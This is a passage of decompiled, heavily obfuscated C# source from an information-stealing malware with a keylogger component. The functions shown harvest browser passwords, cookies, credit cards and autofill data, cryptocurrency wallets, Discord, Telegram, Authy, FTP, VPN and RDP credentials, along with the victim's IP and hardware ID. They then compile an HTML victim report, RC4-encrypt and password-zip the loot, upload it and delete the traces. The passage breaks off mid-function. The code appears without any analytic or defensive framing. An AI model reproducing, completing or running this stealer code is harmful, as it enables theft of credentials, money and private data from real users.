// Token: 0x06000024 RID: 36 RVA: 0x00003664 File Offset: 0x00001864 public static void dmethod_16() { using (Class_168 class_ = new Class_168(Encoding.GetEncoding("cp866"))) { class_.prop_34 = -1L; class_.prop_17 = Class_169.Always; class_.prop_9 = Class_202.BestCompression; class_.prop_27 = Class_84.\u031D\u036F\u035C\u0345\u0363\u036F\u035C\u036D\u0325\u0343\u034C\u034A\u030D\u0323\u0020\u033Cozrlltgxsptyshzx\u032A\u0343\u0359\u035A\u0323\u0E47\u0340\u0313\u0328\u0351\u0349\u0320t\u0E47\u0331\u032Fyopertjvrnpgnfxb; class_.vmethod_775("Keylog" + Class_8.field_8.ToString() + ".txt", Encoding.UTF8.GetBytes(Class_8.field_6)); Class_8.field_6 = ""; class_.smethod_930(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold + "\\Microsoft\\Log" + Class_8.field_8.ToString() + ".zip"); } Class_82.vmethod_245(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold + "\\Microsoft\\Log" + Class_8.field_8.ToString() + ".zip", "k"); try { File.Delete(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold + "\\Microsoft\\Log" + Class_8.field_8.ToString() + ".zip"); } catch { } }
// Token: 0x06000126 RID: 294 RVA: 0x0000C0D0 File Offset: 0x0000A2D0 public static void GetCollection() { Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals1 = new Class_53.< > c__DisplayClass6_0(); Directory.CreateDirectory(Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm); Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals2 = CS$ < > 8__locals1; Task[] array = new Task[1]; array[0] = new Task(delegate() { Class_57.a(); }); CS$ < > 8__locals2.t0 = array; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals3 = CS$ < > 8__locals1; Task[] array2 = new Task[1]; array2[0] = new Task(delegate() { Class_53.GetChromium(); }); CS$ < > 8__locals3.t1 = array2; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals4 = CS$ < > 8__locals1; Task[] array3 = new Task[1]; array3[0] = new Task(delegate() { Class_53.GetGecko(); }); CS$ < > 8__locals4.t2 = array3; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals5 = CS$ < > 8__locals1; Task[] array4 = new Task[1]; array4[0] = new Task(delegate() { Class_113.tmethod_412(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli); }); CS$ < > 8__locals5.t3 = array4; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals6 = CS$ < > 8__locals1; Task[] array5 = new Task[1]; array5[0] = new Task(delegate() { Class_56.gmethod_153(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals6.t4 = array5; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals7 = CS$ < > 8__locals1; Task[] array6 = new Task[1]; array6[0] = new Task(delegate() { Class_13.gmethod_33(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals7.t5 = array6; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals8 = CS$ < > 8__locals1; Task[] array7 = new Task[1]; array7[0] = new Task(delegate() { Class_3.tmethod_2(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals8.t6 = array7; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals9 = CS$ < > 8__locals1; Task[] array8 = new Task[1]; array8[0] = new Task(delegate() { Class_10.xmethod_31(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals9.t7 = array8; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals10 = CS$ < > 8__locals1; Task[] array9 = new Task[1]; array9[0] = new Task(delegate() { Class_91.dmethod_256(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals10.t8 = array9; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals11 = CS$ < > 8__locals1; Task[] array10 = new Task[1]; array10[0] = new Task(delegate() { Class_7.pmethod_9(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals11.t9 = array10; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals12 = CS$ < > 8__locals1; Task[] array11 = new Task[1]; array11[0] = new Task(delegate() { Class_17.cmethod_44(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals12.t11 = array11; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals13 = CS$ < > 8__locals1; Task[] array12 = new Task[1]; array12[0] = new Task(delegate() { Class_54.xmethod_151(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals13.t12 = array12; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals14 = CS$ < > 8__locals1; Task[] array13 = new Task[1]; array13[0] = new Task(delegate() { Class_14.vmethod_35(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals14.t13 = array13; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals15 = CS$ < > 8__locals1; Task[] array14 = new Task[1]; array14[0] = new Task(delegate() { Class_11.tmethod_32(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr); }); CS$ < > 8__locals15.t14 = array14; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals16 = CS$ < > 8__locals1; Task[] array15 = new Task[1]; array15[0] = new Task(delegate() { Class_96.vmethod_265(); }); CS$ < > 8__locals16.t15 = array15; Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals17 = CS$ < > 8__locals1; Task[] array16 = new Task[1]; array16[0] = new Task(delegate() { Class_83.kmethod_247(); }); CS$ < > 8__locals17.t16 = array16; try { new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t0; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t1; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t2; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t3; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t4; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t5; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t6; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t7; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t8; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t9; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t11; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t12; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t13; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t14; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t15; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); new Thread(delegate() { Task[] t = CS$ < > 8__locals1.t16; for (int i = 0; i < t.Length; i++) { t[i].Start(); } }).Start(); Task.WaitAll(CS$ < > 8__locals1.t0); Task.WaitAll(CS$ < > 8__locals1.t1); Task.WaitAll(CS$ < > 8__locals1.t2); Task.WaitAll(CS$ < > 8__locals1.t3); Task.WaitAll(CS$ < > 8__locals1.t4); Task.WaitAll(CS$ < > 8__locals1.t5); Task.WaitAll(CS$ < > 8__locals1.t6); Task.WaitAll(CS$ < > 8__locals1.t7); Task.WaitAll(CS$ < > 8__locals1.t8); Task.WaitAll(CS$ < > 8__locals1.t9); Task.WaitAll(CS$ < > 8__locals1.t11); Task.WaitAll(CS$ < > 8__locals1.t12); Task.WaitAll(CS$ < > 8__locals1.t13); Task.WaitAll(CS$ < > 8__locals1.t14); Task.WaitAll(CS$ < > 8__locals1.t15); Task.WaitAll(CS$ < > 8__locals1.t16); } catch { } GC.Collect(); try { Class_2.xmethod_1(Class_47.\u0369ส\u033E\u0020\u035A\u0302\u0317\u0E47\u0340\u0E47\u035A\u0E47\u0E47\u0306\u0343\u0020pgdvbwunpknbmfun\u036B\u0020\u0E47\u0343\u0330\u0308\u0331\u0E47\u0020\u0329\u0342\u0342\u0367\u030B\u0306\u0353vsdojrfcpthshyaq); } catch { } try { Class_57.b(); Class_93.Copy(); } catch { } Class_5.field_4.Clear(); Class_5.field_5.Clear(); Class_5.field_6.Clear(); GC.Collect(); string s = string.Concat(new string[] { "<!DOCTYPE html>\n<html>\n<body>\n<style>\nbody {\nbackground-image: url('https://steamcdn-a.akamaihd.net/steamcommunity/public/images/items/383690/f7a121a3f7a929ffb4dbc3ae241b3b4b6eaaed1d.jpg');\nbackground-repeat: no-repeat;\nbackground-attachment: fixed;\nbackground-size: 100% 100%;\n}\n</style>\n<center>\n<h1 style=\"color:white\">", Class_103.field_0, "</h1>\n<p style=\"color:white\">\ud83d\udc64 ", Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf, "/", Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm, "</p>\n<p style=\"color:white\">\ud83c\udff4 IP: ", Class_47.IP(), Class_47.Country(), Class_47.checc(), "</p>\n<h2 style=\"color:white\">\ud83c\udf10 Browsers Data</h2>\n<p style=\"color:white;margin-left:-6em\"> ∟\ud83d\udd11</p>\n<p style=\"color:white;margin-left:3em\"> ∟Chromium: ", Class_49.field_1.ToString(), "</p>\n<p style=\"color:white;margin-left:-1.5em\"> ∟Edge: ", Class_113.field_0.ToString(), "</p>\n<p style=\"color:white;margin-left:-0.9em\"> ∟Gecko: ", Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk.ToString(), "</p>\n<p style=\"color:white;margin-left:-4em\"> ∟\ud83c\udf6a", (Class_49.field_4 + Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki).ToString(), "</p>\n<p style=\"color:white;margin-left:-4em\"> ∟\ud83d\udd51", Class_49.field_5.ToString(), "</p>\n<p style=\"color:white;margin-left:-4.5em\"> ∟\ud83d\udcdd", Class_49.field_2.ToString(), "</p>\n<p style=\"color:white;margin-left:-5.5em\"> ∟\ud83d\udcb3", Class_49.field_6.ToString(), "</p>\n<p style=\"color:white;margin-left:-4.8em\"> ∟⨭", Class_49.field_3.ToString(), "</p>\n<p style=\"color:white\">\ud83d\udcb6 Wallets: ", (Class_54.field_0 > 0) ? "✅" : "❌", (Class_79.field_0 > 0) ? " Electrum" : "", (Class_73.field_0 > 0) ? " Armory" : "", (Class_4.field_0 > 0) ? " Atomic" : "", (Class_20.field_0 > 0) ? " BitcoinCore" : "", (Class_80.field_0 > 0) ? " Bytecoin" : "", (Class_94.field_0 > 0) ? " DashCore" : "", (Class_18.field_0 > 0) ? " Ethereum" : "", (Class_90.field_0 > 0) ? " Exodus" : "", (Class_6.field_0 > 0) ? " LitecoinCore" : "", (Class_55.field_0 > 0) ? " Monero" : "", (Class_89.field_0 > 0) ? " Zcash" : "", (Class_15.field_0 > 0) ? " Jaxx" : "", "</p>\n<p style=\"color:white\">\ud83d\udcc2 FileGrabber: ", Class_5.field_1.ToString(), "</p>\n<p style=\"color:white\">\ud83d\udcb0 Recursive Wallets: ", Class_5.field_3.ToString(), "</p>\n<p style=\"color:white\">\ud83d\udda5 RDP: ", Class_5.field_2.ToString(), "</p>\n<p style=\"color:white\">\ud83d\udcac Discord: ", (Class_17.field_0 > 0) ? "✅" : "❌", "</p>\n<p style=\"color:white\">✈️ Telegram: ", (Class_96.field_0 > 0) ? "✅" : "❌", "</p>\n<p style=\"color:white\">\ud83d\udca1 Jabber: ", (Class_11.field_0 + Class_74.field_0 > 0) ? "✅" : "❌", (Class_74.field_0 > 0) ? (" Pidgin (" + Class_74.field_1.ToString() + ")") : "", (Class_11.field_0 > 0) ? " Psi" : "", "</p>\n<h2 style=\"color:white\">\ud83d\udce1 FTP</h2>\n<p style=\"color:white\"> ∟ FileZilla: ", (Class_13.field_0 > 0) ? ("✅ (" + Class_13.field_0.ToString() + ")") : "❌", "</p>\n<p style=\"color:white\"> ∟ TotalCmd: ", (Class_3.field_0 > 0) ? "✅" : "❌", "</p>\n<h2 style=\"color:white\">\ud83d\udd0c VPN</h2>\n<p style=\"color:white\"> ∟ NordVPN: ", (Class_7.field_0 > 0) ? "✅" : "❌", "</p>\n<p style=\"color:white\"> ∟ OpenVPN: ", (Class_91.field_0 > 0) ? "✅" : "❌", "</p>\n<p style=\"color:white\"> ∟ ProtonVPN: ", (Class_10.field_0 > 0) ? "✅" : "❌", "</p>\n<p style=\"color:white\">\ud83c\udd94 HWID: ", Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz, "</p>\n<p style=\"color:white\">⚙️ ", Class_14.smethod_40(), "</p>\n<p style=\"color:white\">\ud83d\udd0e ", Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf, "</p>\n</center>\n</body>\n</html>" }); string s2 = string.Concat(new string[] { Class_103.field_0, "\nComputer: ", Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf, "/", Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm, "\nIP: ", Class_47.IP(), Class_47.Country(), Class_47.checc(), "\nBrowsers Data\n ∟Passwords:\n ∟Chromium: ", Class_49.field_1.ToString(), "\n ∟Edge: ", Class_113.field_0.ToString(), "\n ∟Gecko: ", Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk.ToString(), "\n ∟Cookies:", (Class_49.field_4 + Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki).ToString(), "\n ∟History:", Class_49.field_5.ToString(), "\n ∟Autofills:", Class_49.field_2.ToString(), "\n ∟CC:", Class_49.field_6.ToString(), "\n ∟Downloads:", Class_49.field_3.ToString(), "\nWallets: ", (Class_54.field_0 > 0) ? "Yes" : "No", (Class_79.field_0 > 0) ? " Electrum" : "", (Class_73.field_0 > 0) ? " Armory" : "", (Class_4.field_0 > 0) ? " Atomic" : "", (Class_20.field_0 > 0) ? " BitcoinCore" : "", (Class_80.field_0 > 0) ? " Bytecoin" : "", (Class_94.field_0 > 0) ? " DashCore" : "", (Class_18.field_0 > 0) ? " Ethereum" : "", (Class_90.field_0 > 0) ? " Exodus" : "", (Class_6.field_0 > 0) ? " LitecoinCore" : "", (Class_55.field_0 > 0) ? " Monero" : "", (Class_89.field_0 > 0) ? " Zcash" : "", (Class_15.field_0 > 0) ? " Jaxx" : "", "\nFileGrabber: ", Class_5.field_1.ToString(), "\nRecursive Wallets: ", Class_5.field_3.ToString(), "\nRDP: ", Class_5.field_2.ToString(), "\nDiscord: ", (Class_17.field_0 > 0) ? "Yes" : "No", "\nTelegram: ", (Class_96.field_0 > 0) ? "Yes" : "No", "\nJabber: ", (Class_11.field_0 + Class_74.field_0 > 0) ? "Yes" : "No", (Class_74.field_0 > 0) ? (" Pidgin (" + Class_74.field_1.ToString() + ")") : "", (Class_11.field_0 > 0) ? " Psi" : "", "\nFTP\n ∟ FileZilla: ", (Class_13.field_0 > 0) ? ("Yes (" + Class_13.field_0.ToString() + ")") : "No", "\n ∟ TotalCmd: ", (Class_3.field_0 > 0) ? "Yes" : "No", "\nVPN\n ∟ NordVPN: ", (Class_7.field_0 > 0) ? "Yes" : "No", "\n ∟ OpenVPN: ", (Class_91.field_0 > 0) ? "Yes" : "No", "\n ∟ ProtonVPN: ", (Class_10.field_0 > 0) ? "Yes" : "No", "\nHWID: ", Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz, "\nDomains: ", Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf }); Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Information.html", Class_47.RC4(Encoding.UTF8.GetBytes(s))); Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Information_Simplified.txt", Class_47.RC4(Encoding.UTF8.GetBytes(s2))); string str_ = string.Concat(new string[] { Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm, "\\", Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm, "_", Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf, Class_47.CountryCOde(), ".zip" }); using (Class_168 class_ = new Class_168(Encoding.GetEncoding("cp866"))) { class_.prop_34 = -1L; class_.prop_17 = Class_169.Always; class_.prop_9 = Class_202.BestCompression; class_.prop_27 = Class_84.\u031D\u036F\u035C\u0345\u0363\u036F\u035C\u036D\u0325\u0343\u034C\u034A\u030D\u0323\u0020\u033Cozrlltgxsptyshzx\u032A\u0343\u0359\u035A\u0323\u0E47\u0340\u0313\u0328\u0351\u0349\u0320t\u0E47\u0331\u032Fyopertjvrnpgnfxb; foreach (KeyValuePair <string, byte[]> keyValuePair in Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln) { class_.vmethod_775(keyValuePair.Key, Class_47.RC4(keyValuePair.Value)); } foreach (KeyValuePair <string, string> keyValuePair2 in Class_53.\u0324\u0020\u0327\u0348\u0333\u0305\u0345\u0329\u0348\u0E47\u0020\u0335\u0E47\u0316\u0302\u0320ywdncahgxwtxiviz\u0352\u0349\u0323\u0320\u0369\u031F\u0358\u033F\u0E47\u0332\u0020\u0020\u0E47\u0327\u0E47\u0020iilbfxumjrfxqonp) { try { class_.pmethod_749(keyValuePair2.Key, keyValuePair2.Value); } catch { } } if (Class_96.field_2 != null) { class_.lmethod_778(Class_96.field_2, Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Telegram"); } if (Class_83.field_0 != null) { class_.lmethod_778(Class_83.field_0, Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Authy"); } class_.smethod_930(str_); Class_47.DeleteDirectory(Class_96.field_2); Class_47.DeleteDirectory(Class_83.field_0); } Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Clear(); Class_53.\u0324\u0020\u0327\u0348\u0333\u0305\u0345\u0329\u0348\u0E47\u0020\u0335\u0E47\u0316\u0302\u0320ywdncahgxwtxiviz\u0352\u0349\u0323\u0320\u0369\u031F\u0358\u033F\u0E47\u0332\u0020\u0020\u0E47\u0327\u0E47\u0020iilbfxumjrfxqonp.Clear(); GC.Collect(); Class_82.vmethod_245(str_, "s"); Class_82.cmethod_244(); Class_81.smethod_240(); }
// Token: 0x06000014 RID: 20 RVA: 0x000026D4 File Offset: 0x000008D4 public static void dmethod_6(List <string> arg_0, string str_0, string str_1, int sayıInt_0, string str_2, long sayıUınt_0, string str_3) { long num = 0L; using (Class_168 class_ = new Class_168()) { class_.prop_34 = -1L; class_.prop_17 = Class_169.Always; class_.prop_27 = Class_84.\u031D\u036F\u035C\u0345\u0363\u036F\u035C\u036D\u0325\u0343\u034C\u034A\u030D\u0323\u0020\u033Cozrlltgxsptyshzx\u032A\u0343\u0359\u035A\u0323\u0E47\u0340\u0313\u0328\u0351\u0349\u0320t\u0E47\u0331\u032Fyopertjvrnpgnfxb; class_.prop_23 = Class_170.Always; class_.prop_22 = Encoding.GetEncoding(866); class_.prop_9 = Class_202.BestCompression; foreach (string text in arg_0) { if (num >= Class_5.field_13) { foreach (KeyValuePair <string, string> keyValuePair in Class_53.\u0308\u0324\u0342\u034C\u0347\u0020\u0368\u033D\u0324\u0020\u0349\u0302\u0E47\u030A\u0310\u0364zyfqopfwsxxklpxs\u0020i\u033B\u030C\u0331\u0327\u0300\u0351\u0340\u0E47\u033C\u030C\u0363\u0339\u0E47\u0358ertxnwoibzchejzw) { try { class_.pmethod_749(keyValuePair.Key, keyValuePair.Value); } catch { } } class_.smethod_930(string.Concat(new string[] { str_0, "_", 